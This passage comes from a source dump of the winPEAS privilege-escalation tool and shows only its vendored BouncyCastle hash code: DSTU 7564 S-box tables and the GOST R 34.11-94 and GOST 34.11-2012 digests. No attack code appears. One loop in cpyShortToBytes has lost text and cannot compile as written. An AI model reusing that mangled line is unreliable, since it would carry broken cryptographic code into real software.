0xa5, 0x53, 0x86, 0xf9, 0x5b, 0xdb, 0x38, 0x7b, 0xc3, 0x1e, 0x22, 0x33, 0x24, 0x28, 0x36, 0xc7, 0xb2, 0x3b, 0x8e, 0x77, 0xba, 0xf5, 0x14, 0x9f, 0x08, 0x55, 0x9b, 0x4c, 0xfe, 0x60, 0x5c, 0xda, 0x18, 0x46, 0xcd, 0x7d, 0x21, 0xb0, 0x3f, 0x1b, 0x89, 0xff, 0xeb, 0x84, 0x69, 0x3a, 0x9d, 0xd7, 0xd3, 0x70, 0x67, 0x40, 0xb5, 0xde, 0x5d, 0x30, 0x91, 0xb1, 0x78, 0x11, 0x01, 0xe5, 0x00, 0x68, 0x98, 0xa0, 0xc5, 0x02, 0xa6, 0x74, 0x2d, 0x0b, 0xa2, 0x76, 0xb3, 0xbe, 0xce, 0xbd, 0xae, 0xe9, 0x8a, 0x31, 0x1c, 0xec, 0xf1, 0x99, 0x94, 0xaa, 0xf6, 0x26, 0x2f, 0xef, 0xe8, 0x8c, 0x35, 0x03, 0xd4, 0x7f, 0xfb, 0x05, 0xc1, 0x5e, 0x90, 0x20, 0x3d, 0x82, 0xf7, 0xea, 0x0a, 0x0d, 0x7e, 0xf8, 0x50, 0x1a, 0xc4, 0x07, 0x57, 0xb8, 0x3c, 0x62, 0xe3, 0xc8, 0xac, 0x52, 0x64, 0x10, 0xd0, 0xd9, 0x13, 0x0c, 0x12, 0x29, 0x51, 0xb9, 0xcf, 0xd6, 0x73, 0x8d, 0x81, 0x54, 0xc0, 0xed, 0x4e, 0x44, 0xa7, 0x2a, 0x85, 0x25, 0xe6, 0xca, 0x7c, 0x8b, 0x56, 0x80 }; private static readonly byte[] S1 = new byte[] { 0xce, 0xbb, 0xeb, 0x92, 0xea, 0xcb, 0x13, 0xc1, 0xe9, 0x3a, 0xd6, 0xb2, 0xd2, 0x90, 0x17, 0xf8, 0x42, 0x15, 0x56, 0xb4, 0x65, 0x1c, 0x88, 0x43, 0xc5, 0x5c, 0x36, 0xba, 0xf5, 0x57, 0x67, 0x8d, 0x31, 0xf6, 0x64, 0x58, 0x9e, 0xf4, 0x22, 0xaa, 0x75, 0x0f, 0x02, 0xb1, 0xdf, 0x6d, 0x73, 0x4d, 0x7c, 0x26, 0x2e, 0xf7, 0x08, 0x5d, 0x44, 0x3e, 0x9f, 0x14, 0xc8, 0xae, 0x54, 0x10, 0xd8, 0xbc, 0x1a, 0x6b, 0x69, 0xf3, 0xbd, 0x33, 0xab, 0xfa, 0xd1, 0x9b, 0x68, 0x4e, 0x16, 0x95, 0x91, 0xee, 0x4c, 0x63, 0x8e, 0x5b, 0xcc, 0x3c, 0x19, 0xa1, 0x81, 0x49, 0x7b, 0xd9, 0x6f, 0x37, 0x60, 0xca, 0xe7, 0x2b, 0x48, 0xfd, 0x96, 0x45, 0xfc, 0x41, 0x12, 0x0d, 0x79, 0xe5, 0x89, 0x8c, 0xe3, 0x20, 0x30, 0xdc, 0xb7, 0x6c, 0x4a, 0xb5, 0x3f, 0x97, 0xd4, 0x62, 0x2d, 0x06, 0xa4, 0xa5, 0x83, 0x5f, 0x2a, 0xda, 0xc9, 0x00, 0x7e, 0xa2, 0x55, 0xbf, 0x11, 0xd5, 0x9c, 0xcf, 0x0e, 0x0a, 0x3d, 0x51, 0x7d, 0x93, 0x1b, 0xfe, 0xc4, 0x47, 0x09, 0x86, 0x0b, 0x8f, 0x9d, 0x6a, 0x07, 0xb9, 0xb0, 0x98, 0x18, 0x32, 0x71, 0x4b, 0xef, 0x3b, 0x70, 0xa0, 0xe4, 0x40, 0xff, 0xc3, 0xa9, 0xe6, 0x78, 0xf9, 0x8b, 0x46, 0x80, 0x1e, 0x38, 0xe1, 0xb8, 0xa8, 0xe0, 0x0c, 0x23, 0x76, 0x1d, 0x25, 0x24, 0x05, 0xf1, 0x6e, 0x94, 0x28, 0x9a, 0x84, 0xe8, 0xa3, 0x4f, 0x77, 0xd3, 0x85, 0xe2, 0x52, 0xf2, 0x82, 0x50, 0x7a, 0x2f, 0x74, 0x53, 0xb3, 0x61, 0xaf, 0x39, 0x35, 0xde, 0xcd, 0x1f, 0x99, 0xac, 0xad, 0x72, 0x2c, 0xdd, 0xd0, 0x87, 0xbe, 0x5e, 0xa6, 0xec, 0x04, 0xc6, 0x03, 0x34, 0xfb, 0xdb, 0x59, 0xb6, 0xc2, 0x01, 0xf0, 0x5a, 0xed, 0xa7, 0x66, 0x21, 0x7f, 0x8a, 0x27, 0xc7, 0xc0, 0x29, 0xd7 }; private static readonly byte[] S2 = new byte[] { 0x93, 0xd9, 0x9a, 0xb5, 0x98, 0x22, 0x45, 0xfc, 0xba, 0x6a, 0xdf, 0x02, 0x9f, 0xdc, 0x51, 0x59, 0x4a, 0x17, 0x2b, 0xc2, 0x94, 0xf4, 0xbb, 0xa3, 0x62, 0xe4, 0x71, 0xd4, 0xcd, 0x70, 0x16, 0xe1, 0x49, 0x3c, 0xc0, 0xd8, 0x5c, 0x9b, 0xad, 0x85, 0x53, 0xa1, 0x7a, 0xc8, 0x2d, 0xe0, 0xd1, 0x72, 0xa6, 0x2c, 0xc4, 0xe3, 0x76, 0x78, 0xb7, 0xb4, 0x09, 0x3b, 0x0e, 0x41, 0x4c, 0xde, 0xb2, 0x90, 0x25, 0xa5, 0xd7, 0x03, 0x11, 0x00, 0xc3, 0x2e, 0x92, 0xef, 0x4e, 0x12, 0x9d, 0x7d, 0xcb, 0x35, 0x10, 0xd5, 0x4f, 0x9e, 0x4d, 0xa9, 0x55, 0xc6, 0xd0, 0x7b, 0x18, 0x97, 0xd3, 0x36, 0xe6, 0x48, 0x56, 0x81, 0x8f, 0x77, 0xcc, 0x9c, 0xb9, 0xe2, 0xac, 0xb8, 0x2f, 0x15, 0xa4, 0x7c, 0xda, 0x38, 0x1e, 0x0b, 0x05, 0xd6, 0x14, 0x6e, 0x6c, 0x7e, 0x66, 0xfd, 0xb1, 0xe5, 0x60, 0xaf, 0x5e, 0x33, 0x87, 0xc9, 0xf0, 0x5d, 0x6d, 0x3f, 0x88, 0x8d, 0xc7, 0xf7, 0x1d, 0xe9, 0xec, 0xed, 0x80, 0x29, 0x27, 0xcf, 0x99, 0xa8, 0x50, 0x0f, 0x37, 0x24, 0x28, 0x30, 0x95, 0xd2, 0x3e, 0x5b, 0x40, 0x83, 0xb3, 0x69, 0x57, 0x1f, 0x07, 0x1c, 0x8a, 0xbc, 0x20, 0xeb, 0xce, 0x8e, 0xab, 0xee, 0x31, 0xa2, 0x73, 0xf9, 0xca, 0x3a, 0x1a, 0xfb, 0x0d, 0xc1, 0xfe, 0xfa, 0xf2, 0x6f, 0xbd, 0x96, 0xdd, 0x43, 0x52, 0xb6, 0x08, 0xf3, 0xae, 0xbe, 0x19, 0x89, 0x32, 0x26, 0xb0, 0xea, 0x4b, 0x64, 0x84, 0x82, 0x6b, 0xf5, 0x79, 0xbf, 0x01, 0x5f, 0x75, 0x63, 0x1b, 0x23, 0x3d, 0x68, 0x2a, 0x65, 0xe8, 0x91, 0xf6, 0xff, 0x13, 0x58, 0xf1, 0x47, 0x0a, 0x7f, 0xc5, 0xa7, 0xe7, 0x61, 0x5a, 0x06, 0x46, 0x44, 0x42, 0x04, 0xa0, 0xdb, 0x39, 0x86, 0x54, 0xaa, 0x8c, 0x34, 0x21, 0x8b, 0xf8, 0x0c, 0x74, 0x67 }; private static readonly byte[] S3 = new byte[] { 0x68, 0x8d, 0xca, 0x4d, 0x73, 0x4b, 0x4e, 0x2a, 0xd4, 0x52, 0x26, 0xb3, 0x54, 0x1e, 0x19, 0x1f, 0x22, 0x03, 0x46, 0x3d, 0x2d, 0x4a, 0x53, 0x83, 0x13, 0x8a, 0xb7, 0xd5, 0x25, 0x79, 0xf5, 0xbd, 0x58, 0x2f, 0x0d, 0x02, 0xed, 0x51, 0x9e, 0x11, 0xf2, 0x3e, 0x55, 0x5e, 0xd1, 0x16, 0x3c, 0x66, 0x70, 0x5d, 0xf3, 0x45, 0x40, 0xcc, 0xe8, 0x94, 0x56, 0x08, 0xce, 0x1a, 0x3a, 0xd2, 0xe1, 0xdf, 0xb5, 0x38, 0x6e, 0x0e, 0xe5, 0xf4, 0xf9, 0x86, 0xe9, 0x4f, 0xd6, 0x85, 0x23, 0xcf, 0x32, 0x99, 0x31, 0x14, 0xae, 0xee, 0xc8, 0x48, 0xd3, 0x30, 0xa1, 0x92, 0x41, 0xb1, 0x18, 0xc4, 0x2c, 0x71, 0x72, 0x44, 0x15, 0xfd, 0x37, 0xbe, 0x5f, 0xaa, 0x9b, 0x88, 0xd8, 0xab, 0x89, 0x9c, 0xfa, 0x60, 0xea, 0xbc, 0x62, 0x0c, 0x24, 0xa6, 0xa8, 0xec, 0x67, 0x20, 0xdb, 0x7c, 0x28, 0xdd, 0xac, 0x5b, 0x34, 0x7e, 0x10, 0xf1, 0x7b, 0x8f, 0x63, 0xa0, 0x05, 0x9a, 0x43, 0x77, 0x21, 0xbf, 0x27, 0x09, 0xc3, 0x9f, 0xb6, 0xd7, 0x29, 0xc2, 0xeb, 0xc0, 0xa4, 0x8b, 0x8c, 0x1d, 0xfb, 0xff, 0xc1, 0xb2, 0x97, 0x2e, 0xf8, 0x65, 0xf6, 0x75, 0x07, 0x04, 0x49, 0x33, 0xe4, 0xd9, 0xb9, 0xd0, 0x42, 0xc7, 0x6c, 0x90, 0x00, 0x8e, 0x6f, 0x50, 0x01, 0xc5, 0xda, 0x47, 0x3f, 0xcd, 0x69, 0xa2, 0xe2, 0x7a, 0xa7, 0xc6, 0x93, 0x0f, 0x0a, 0x06, 0xe6, 0x2b, 0x96, 0xa3, 0x1c, 0xaf, 0x6a, 0x12, 0x84, 0x39, 0xe7, 0xb0, 0x82, 0xf7, 0xfe, 0x9d, 0x87, 0x5c, 0x81, 0x35, 0xde, 0xb4, 0xa5, 0xfc, 0x80, 0xef, 0xcb, 0xbb, 0x6b, 0x76, 0xba, 0x5a, 0x7d, 0x78, 0x0b, 0x95, 0xe3, 0xad, 0x74, 0x98, 0x3b, 0x36, 0x64, 0x6d, 0xdc, 0xf0, 0x59, 0xa9, 0x4c, 0x17, 0x7f, 0x91, 0xb8, 0xc9, 0x57, 0x1b, 0xe0, 0x61 }; public virtual IMemoable Copy() { return new Dstu7564Digest(this); } public virtual void Reset(IMemoable other) { Dstu7564Digest d = (Dstu7564Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GOST3411Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.engines; using winPEAS._3rdParty.BouncyCastle.crypto.parameters; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of GOST R 34.11-94 */ public class Gost3411Digest : IDigest, IMemoable { private const int DIGEST_LENGTH = 32; private byte[] H = new byte[32], L = new byte[32], M = new byte[32], Sum = new byte[32]; private byte[][] C = MakeC(); private byte[] xBuf = new byte[32]; private int xBufOff; private ulong byteCount; private readonly IBlockCipher cipher = new Gost28147Engine(); private byte[] sBox; private static byte[][] MakeC() { byte[][] c = new byte[4][]; for (int i = 0; i < 4; ++i) { c[i] = new byte[32]; } return c; } /** * Standard constructor */ public Gost3411Digest() { sBox = Gost28147Engine.GetSBox("D-A"); cipher.Init(true, new ParametersWithSBox(null, sBox)); Reset(); } /** * Constructor to allow use of a particular sbox with GOST28147 * @see GOST28147Engine#getSBox(String) */ public Gost3411Digest(byte[] sBoxParam) { sBox = Arrays.Clone(sBoxParam); cipher.Init(true, new ParametersWithSBox(null, sBox)); Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public Gost3411Digest(Gost3411Digest t) { Reset(t); } public string AlgorithmName { get { return "Gost3411"; } } public int GetDigestSize() { return DIGEST_LENGTH; } public void Update( byte input) { xBuf[xBufOff++] = input; if (xBufOff == xBuf.Length) { sumByteArray(xBuf); // calc sum M processBlock(xBuf, 0); xBufOff = 0; } byteCount++; } public void BlockUpdate( byte[] input, int inOff, int length) { while ((xBufOff != 0) && (length > 0)) { Update(input[inOff]); inOff++; length--; } while (length > xBuf.Length) { Array.Copy(input, inOff, xBuf, 0, xBuf.Length); sumByteArray(xBuf); // calc sum M processBlock(xBuf, 0); inOff += xBuf.Length; length -= xBuf.Length; byteCount += (uint)xBuf.Length; } // load in the remainder. while (length > 0) { Update(input[inOff]); inOff++; length--; } } // (i + 1 + 4(k - 1)) = 8i + k i = 0-3, k = 1-8 private byte[] K = new byte[32]; private byte[] P(byte[] input) { int fourK = 0; for(int k = 0; k < 8; k++) { K[fourK++] = input[k]; K[fourK++] = input[8 + k]; K[fourK++] = input[16 + k]; K[fourK++] = input[24 + k]; } return K; } //A (x) = (x0 ^ x1) || x3 || x2 || x1 byte[] a = new byte[8]; private byte[] A(byte[] input) { for(int j=0; j<8; j++) { a[j]=(byte)(input[j] ^ input[j+8]); } Array.Copy(input, 8, input, 0, 24); Array.Copy(a, 0, input, 24, 8); return input; } //Encrypt function, ECB mode private void E(byte[] key, byte[] s, int sOff, byte[] input, int inOff) { cipher.Init(true, new KeyParameter(key)); cipher.ProcessBlock(input, inOff, s, sOff); } // (in:) n16||..||n1 ==> (out:) n1^n2^n3^n4^n13^n16||n16||..||n2 internal short[] wS = new short[16], w_S = new short[16]; private void fw(byte[] input) { cpyBytesToShort(input, wS); w_S[15] = (short)(wS[0] ^ wS[1] ^ wS[2] ^ wS[3] ^ wS[12] ^ wS[15]); Array.Copy(wS, 1, w_S, 0, 15); cpyShortToBytes(w_S, input); } // block processing internal byte[] S = new byte[32], U = new byte[32], V = new byte[32], W = new byte[32]; private void processBlock(byte[] input, int inOff) { Array.Copy(input, inOff, M, 0, 32); //key step 1 // H = h3 || h2 || h1 || h0 // S = s3 || s2 || s1 || s0 H.CopyTo(U, 0); M.CopyTo(V, 0); for (int j=0; j<32; j++) { W[j] = (byte)(U[j]^V[j]); } // Encrypt gost28147-ECB E(P(W), S, 0, H, 0); // s0 = EK0 [h0] //keys step 2,3,4 for (int i=1; i<4; i++) { byte[] tmpA = A(U); for (int j=0; j<32; j++) { U[j] = (byte)(tmpA[j] ^ C[i][j]); } V = A(A(V)); for (int j=0; j<32; j++) { W[j] = (byte)(U[j]^V[j]); } // Encrypt gost28147-ECB E(P(W), S, i * 8, H, i * 8); // si = EKi [hi] } // x(M, H) = y61(H^y(M^y12(S))) for(int n = 0; n < 12; n++) { fw(S); } for(int n = 0; n < 32; n++) { S[n] = (byte)(S[n] ^ M[n]); } fw(S); for(int n = 0; n < 32; n++) { S[n] = (byte)(H[n] ^ S[n]); } for(int n = 0; n < 61; n++) { fw(S); } Array.Copy(S, 0, H, 0, H.Length); } private void finish() { ulong bitCount = byteCount * 8; Pack.UInt64_To_LE(bitCount, L); while (xBufOff != 0) { Update((byte)0); } processBlock(L, 0); processBlock(Sum, 0); } public int DoFinal( byte[] output, int outOff) { finish(); H.CopyTo(output, outOff); Reset(); return DIGEST_LENGTH; } /** * reset the chaining variables to the IV values. */ private static readonly byte[] C2 = { 0x00,(byte)0xFF,0x00,(byte)0xFF,0x00,(byte)0xFF,0x00,(byte)0xFF, (byte)0xFF,0x00,(byte)0xFF,0x00,(byte)0xFF,0x00,(byte)0xFF,0x00, 0x00,(byte)0xFF,(byte)0xFF,0x00,(byte)0xFF,0x00,0x00,(byte)0xFF, (byte)0xFF,0x00,0x00,0x00,(byte)0xFF,(byte)0xFF,0x00,(byte)0xFF }; public void Reset() { byteCount = 0; xBufOff = 0; Array.Clear(H, 0, H.Length); Array.Clear(L, 0, L.Length); Array.Clear(M, 0, M.Length); Array.Clear(C[1], 0, C[1].Length); // real index C = +1 because index array with 0. Array.Clear(C[3], 0, C[3].Length); Array.Clear(Sum, 0, Sum.Length); Array.Clear(xBuf, 0, xBuf.Length); C2.CopyTo(C[2], 0); } // 256 bitsblock modul -> (Sum + a mod (2^256)) private void sumByteArray( byte[] input) { int carry = 0; for (int i = 0; i != Sum.Length; i++) { int sum = (Sum[i] & 0xff) + (input[i] & 0xff) + carry; Sum[i] = (byte)sum; carry = sum >> 8; } } private static void cpyBytesToShort(byte[] S, short[] wS) { for(int i = 0; i < S.Length / 2; i++) { wS[i] = (short)(((S[i*2+1]<<8)&0xFF00)|(S[i*2]&0xFF)); } } private static void cpyShortToBytes(short[] wS, byte[] S) { for(int i=0; i> 8); S[i*2] = (byte)wS[i]; } } public int GetByteLength() { return 32; } public IMemoable Copy() { return new Gost3411Digest(this); } public void Reset(IMemoable other) { Gost3411Digest t = (Gost3411Digest)other; this.sBox = t.sBox; cipher.Init(true, new ParametersWithSBox(null, sBox)); Reset(); Array.Copy(t.H, 0, this.H, 0, t.H.Length); Array.Copy(t.L, 0, this.L, 0, t.L.Length); Array.Copy(t.M, 0, this.M, 0, t.M.Length); Array.Copy(t.Sum, 0, this.Sum, 0, t.Sum.Length); Array.Copy(t.C[1], 0, this.C[1], 0, t.C[1].Length); Array.Copy(t.C[2], 0, this.C[2], 0, t.C[2].Length); Array.Copy(t.C[3], 0, this.C[3], 0, t.C[3].Length); Array.Copy(t.xBuf, 0, this.xBuf, 0, t.xBuf.Length); this.xBufOff = t.xBufOff; this.byteCount = t.byteCount; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GOST3411_2012Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { public abstract class Gost3411_2012Digest:IDigest,IMemoable { private readonly byte[] IV = new byte[64]; private readonly byte[] N = new byte[64]; private readonly byte[] Sigma = new byte[64]; private readonly byte[] Ki = new byte[64]; private readonly byte[] m = new byte[64]; private readonly byte[] h = new byte[64]; // Temporary buffers private readonly byte[] tmp = new byte[64]; private readonly byte[] block = new byte[64]; private int bOff = 64; protected Gost3411_2012Digest(byte[] IV) { System.Array.Copy(IV,this.IV,64); System.Array.Copy(IV, h, 64); } public abstract string AlgorithmName { get; } public abstract IMemoable Copy(); public virtual int DoFinal(byte[] output, int outOff) { int lenM = 64 - bOff; // At this point it is certain that lenM is smaller than 64 for (int i = 0; i != 64 - lenM; i++) { m[i] = 0; } m[63 - lenM] = 1; if (bOff != 64) { System.Array.Copy(block, bOff, m, 64 - lenM, lenM); } g_N(h, N, m); addMod512(N, lenM * 8); addMod512(Sigma, m); g_N(h, Zero, N); g_N(h, Zero, Sigma); reverse(h, tmp); Array.Copy(tmp, 0, output, outOff, 64); Reset(); return 64; } public int GetByteLength() { return 64; } public abstract int GetDigestSize(); public void Reset() { bOff = 64; Arrays.Fill(N, (byte)0); Arrays.Fill(Sigma, (byte)0); System.Array.Copy(IV, 0, h, 0, 64); Arrays.Fill(block, (byte)0); } public void Reset(IMemoable other) { Gost3411_2012Digest o = (Gost3411_2012Digest)other; System.Array.Copy(o.IV, 0, this.IV, 0, 64); System.Array.Copy(o.N, 0, this.N, 0, 64); System.Array.Copy(o.Sigma, 0, this.Sigma, 0, 64); System.Array.Copy(o.Ki, 0, this.Ki, 0, 64); System.Array.Copy(o.m, 0, this.m, 0, 64); System.Array.Copy(o.h, 0, this.h, 0, 64); System.Array.Copy(o.block, 0, this.block, 0, 64); this.bOff = o.bOff; } public void Update(byte input) { block[--bOff] = input; if (bOff == 0) { g_N(h, N, block); addMod512(N, 512); addMod512(Sigma, block); bOff = 64; } } public void BlockUpdate(byte[] input, int inOff, int len) { while (bOff != 64 && len > 0) { Update(input[inOff++]); len--; } while (len >= 64) { System.Array.Copy(input, inOff, tmp, 0, 64); reverse(tmp, block); g_N(h, N, block); addMod512(N, 512); addMod512(Sigma, block); len -= 64; inOff += 64; } while (len > 0) { Update(input[inOff++]); len--; } } private void F(byte[] V) { ulong[] res = new ulong[8]; ulong r; r = 0; r ^= T[0][(V[56] & 0xFF)]; r ^= T[1][(V[48] & 0xFF)]; r ^= T[2][(V[40] & 0xFF)]; r ^= T[3][(V[32] & 0xFF)]; r ^= T[4][(V[24] & 0xFF)]; r ^= T[5][(V[16] & 0xFF)]; r ^= T[6][(V[8] & 0xFF)]; r ^= T[7][(V[0] & 0xFF)]; res[0] = r; r = 0; r ^= T[0][(V[57] & 0xFF)]; r ^= T[1][(V[49] & 0xFF)]; r ^= T[2][(V[41] & 0xFF)]; r ^= T[3][(V[33] & 0xFF)]; r ^= T[4][(V[25] & 0xFF)]; r ^= T[5][(V[17] & 0xFF)]; r ^= T[6][(V[9] & 0xFF)]; r ^= T[7][(V[1] & 0xFF)]; res[1] = r; r = 0; r ^= T[0][(V[58] & 0xFF)]; r ^= T[1][(V[50] & 0xFF)]; r ^= T[2][(V[42] & 0xFF)]; r ^= T[3][(V[34] & 0xFF)]; r ^= T[4][(V[26] & 0xFF)]; r ^= T[5][(V[18] & 0xFF)]; r ^= T[6][(V[10] & 0xFF)]; r ^= T[7][(V[2] & 0xFF)]; res[2] = r; r = 0; r ^= T[0][(V[59] & 0xFF)]; r ^= T[1][(V[51] & 0xFF)]; r ^= T[2][(V[43] & 0xFF)]; r ^= T[3][(V[35] & 0xFF)]; r ^= T[4][(V[27] & 0xFF)]; r ^= T[5][(V[19] & 0xFF)]; r ^= T[6][(V[11] & 0xFF)]; r ^= T[7][(V[3] & 0xFF)]; res[3] = r; r = 0; r ^= T[0][(V[60] & 0xFF)]; r ^= T[1][(V[52] & 0xFF)]; r ^= T[2][(V[44] & 0xFF)]; r ^= T[3][(V[36] & 0xFF)]; r ^= T[4][(V[28] & 0xFF)]; r ^= T[5][(V[20] & 0xFF)]; r ^= T[6][(V[12] & 0xFF)]; r ^= T[7][(V[4] & 0xFF)]; res[4] = r; r = 0; r ^= T[0][(V[61] & 0xFF)]; r ^= T[1][(V[53] & 0xFF)]; r ^= T[2][(V[45] & 0xFF)]; r ^= T[3][(V[37] & 0xFF)]; r ^= T[4][(V[29] & 0xFF)]; r ^= T[5][(V[21] & 0xFF)]; r ^= T[6][(V[13] & 0xFF)]; r ^= T[7][(V[5] & 0xFF)]; res[5] = r; r = 0; r ^= T[0][(V[62] & 0xFF)]; r ^= T[1][(V[54] & 0xFF)]; r ^= T[2][(V[46] & 0xFF)]; r ^= T[3][(V[38] & 0xFF)]; r ^= T[4][(V[30] & 0xFF)]; r ^= T[5][(V[22] & 0xFF)]; r ^= T[6][(V[14] & 0xFF)]; r ^= T[7][(V[6] & 0xFF)]; res[6] = r; r = 0; r ^= T[0][(V[63] & 0xFF)]; r ^= T[1][(V[55] & 0xFF)]; r ^= T[2][(V[47] & 0xFF)]; r ^= T[3][(V[39] & 0xFF)]; r ^= T[4][(V[31] & 0xFF)]; r ^= T[5][(V[23] & 0xFF)]; r ^= T[6][(V[15] & 0xFF)]; r ^= T[7][(V[7] & 0xFF)]; res[7] = r; r = res[0]; V[7] = (byte)(r >> 56); V[6] = (byte)(r >> 48); V[5] = (byte)(r >> 40); V[4] = (byte)(r >> 32); V[3] = (byte)(r >> 24); V[2] = (byte)(r >> 16); V[1] = (byte)(r >> 8); V[0] = (byte)(r); r = res[1]; V[15] = (byte)(r >> 56); V[14] = (byte)(r >> 48); V[13] = (byte)(r >> 40); V[12] = (byte)(r >> 32); V[11] = (byte)(r >> 24); V[10] = (byte)(r >> 16); V[9] = (byte)(r >> 8); V[8] = (byte)(r); r = res[2]; V[23] = (byte)(r >> 56); V[22] = (byte)(r >> 48); V[21] = (byte)(r >> 40); V[20] = (byte)(r >> 32); V[19] = (byte)(r >> 24); V[18] = (byte)(r >> 16); V[17] = (byte)(r >> 8); V[16] = (byte)(r); r = res[3]; V[31] = (byte)(r >> 56); V[30] = (byte)(r >> 48); V[29] = (byte)(r >> 40); V[28] = (byte)(r >> 32); V[27] = (byte)(r >> 24); V[26] = (byte)(r >> 16); V[25] = (byte)(r >> 8); V[24] = (byte)(r); r = res[4]; V[39] = (byte)(r >> 56); V[38] = (byte)(r >> 48); V[37] = (byte)(r >> 40); V[36] = (byte)(r >> 32); V[35] = (byte)(r >> 24); V[34] = (byte)(r >> 16); V[33] = (byte)(r >> 8); V[32] = (byte)(r); r = res[5]; V[47] = (byte)(r >> 56); V[46] = (byte)(r >> 48); V[45] = (byte)(r >> 40); V[44] = (byte)(r >> 32); V[43] = (byte)(r >> 24); V[42] = (byte)(r >> 16); V[41] = (byte)(r >> 8); V[40] = (byte)(r); r = res[6]; V[55] = (byte)(r >> 56); V[54] = (byte)(r >> 48); V[53] = (byte)(r >> 40); V[52] = (byte)(r >> 32); V[51] = (byte)(r >> 24); V[50] = (byte)(r >> 16); V[49] = (byte)(r >> 8); V[48] = (byte)(r); r = res[7]; V[63] = (byte)(r >> 56); V[62] = (byte)(r >> 48); V[61] = (byte)(r >> 40); V[60] = (byte)(r >> 32); V[59] = (byte)(r >> 24); V[58] = (byte)(r >> 16); V[57] = (byte)(r >> 8); V[56] = (byte)(r); } private void xor512(byte[] A, byte[] B) { for (int i = 0; i < 64; ++i) { A[i] ^= B[i]; } } private void E(byte[] K, byte[] m) { System.Array.Copy(K, 0, Ki, 0, 64); xor512(K, m); F(K); for (int i = 0; i < 11; ++i) { xor512(Ki, C[i]); F(Ki); xor512(K, Ki); F(K); } xor512(Ki, C[11]); F(Ki); xor512(K, Ki); } private void g_N(byte[] h, byte[] N, byte[] m) { System.Array.Copy(h, 0, tmp, 0, 64); xor512(h, N); F(h); E(h, m); xor512(h, tmp); xor512(h, m); } private void addMod512(byte[] A, int num) { int c; c = (A[63] & 0xFF) + (num & 0xFF); A[63] = (byte)c; c = (A[62] & 0xFF) + ((num >> 8) & 0xFF) + (c >> 8); A[62] = (byte)c; for (int i = 61; (i >= 0) && (c > 0); --i) { c = (A[i] & 0xFF) + (c >> 8); A[i] = (byte)c; } } private void addMod512(byte[] A, byte[] B) { for (int c = 0, i = 63; i >= 0; --i) { c = (A[i] & 0xFF) + (B[i] & 0xFF) + (c >> 8); A[i] = (byte)c; } } private void reverse(byte[] src, byte[] dst) { int len = src.Length; for (int i = 0; i < len; i++) { dst[len - 1 - i] = src[i]; } } private static readonly byte[][] C = new byte[][]{ new byte[]{ (byte)0xb1, (byte)0x08, (byte)0x5b, (byte)0xda, (byte)0x1e, (byte)0xca, (byte)0xda, (byte)0xe9, (byte)0xeb, (byte)0xcb, (byte)0x2f, (byte)0x81, (byte)0xc0, (byte)0x65, (byte)0x7c, (byte)0x1f, (byte)0x2f, (byte)0x6a, (byte)0x76, (byte)0x43, (byte)0x2e, (byte)0x45, (byte)0xd0, (byte)0x16, (byte)0x71, (byte)0x4e, (byte)0xb8, (byte)0x8d, (byte)0x75, (byte)0x85, (byte)0xc4, (byte)0xfc, (byte)0x4b, (byte)0x7c, (byte)0xe0, (byte)0x91, (byte)0x92, (byte)0x67, (byte)0x69, (byte)0x01, (byte)0xa2, (byte)0x42, (byte)0x2a, (byte)0x08, (byte)0xa4, (byte)0x60, (byte)0xd3, (byte)0x15, (byte)0x05, (byte)0x76, (byte)0x74, (byte)0x36, (byte)0xcc, (byte)0x74, (byte)0x4d, (byte)0x23, (byte)0xdd, (byte)0x80, (byte)0x65, (byte)0x59, (byte)0xf2, (byte)0xa6, (byte)0x45, (byte)0x07}, new byte[]{ (byte)0x6f, (byte)0xa3, (byte)0xb5, (byte)0x8a, (byte)0xa9, (byte)0x9d, (byte)0x2f, (byte)0x1a, (byte)0x4f, (byte)0xe3, (byte)0x9d, (byte)0x46, (byte)0x0f, (byte)0x70, (byte)0xb5, (byte)0xd7, (byte)0xf3, (byte)0xfe, (byte)0xea, (byte)0x72, (byte)0x0a, (byte)0x23, (byte)0x2b, (byte)0x98, (byte)0x61, (byte)0xd5, (byte)0x5e, (byte)0x0f, (byte)0x16, (byte)0xb5, (byte)0x01, (byte)0x31, (byte)0x9a, (byte)0xb5, (byte)0x17, (byte)0x6b, (byte)0x12, (byte)0xd6, (byte)0x99, (byte)0x58, (byte)0x5c, (byte)0xb5, (byte)0x61, (byte)0xc2, (byte)0xdb, (byte)0x0a, (byte)0xa7, (byte)0xca, (byte)0x55, (byte)0xdd, (byte)0xa2, (byte)0x1b, (byte)0xd7, (byte)0xcb, (byte)0xcd, (byte)0x56, (byte)0xe6, (byte)0x79, (byte)0x04, (byte)0x70, (byte)0x21, (byte)0xb1, (byte)0x9b, (byte)0xb7}, new byte[]{ (byte)0xf5, (byte)0x74, (byte)0xdc, (byte)0xac, (byte)0x2b, (byte)0xce, (byte)0x2f, (byte)0xc7, (byte)0x0a, (byte)0x39, (byte)0xfc, (byte)0x28, (byte)0x6a, (byte)0x3d, (byte)0x84, (byte)0x35, (byte)0x06, (byte)0xf1, (byte)0x5e, (byte)0x5f, (byte)0x52, (byte)0x9c, (byte)0x1f, (byte)0x8b, (byte)0xf2, (byte)0xea, (byte)0x75, (byte)0x14, (byte)0xb1, (byte)0x29, (byte)0x7b, (byte)0x7b, (byte)0xd3, (byte)0xe2, (byte)0x0f, (byte)0xe4, (byte)0x90, (byte)0x35, (byte)0x9e, (byte)0xb1, (byte)0xc1, (byte)0xc9, (byte)0x3a, (byte)0x37, (byte)0x60, (byte)0x62, (byte)0xdb, (byte)0x09, (byte)0xc2, (byte)0xb6, (byte)0xf4, (byte)0x43, (byte)0x86, (byte)0x7a, (byte)0xdb, (byte)0x31, (byte)0x99, (byte)0x1e, (byte)0x96, (byte)0xf5, (byte)0x0a, (byte)0xba, (byte)0x0a, (byte)0xb2}, new byte[]{ (byte)0xef, (byte)0x1f, (byte)0xdf, (byte)0xb3, (byte)0xe8, (byte)0x15, (byte)0x66, (byte)0xd2, (byte)0xf9, (byte)0x48, 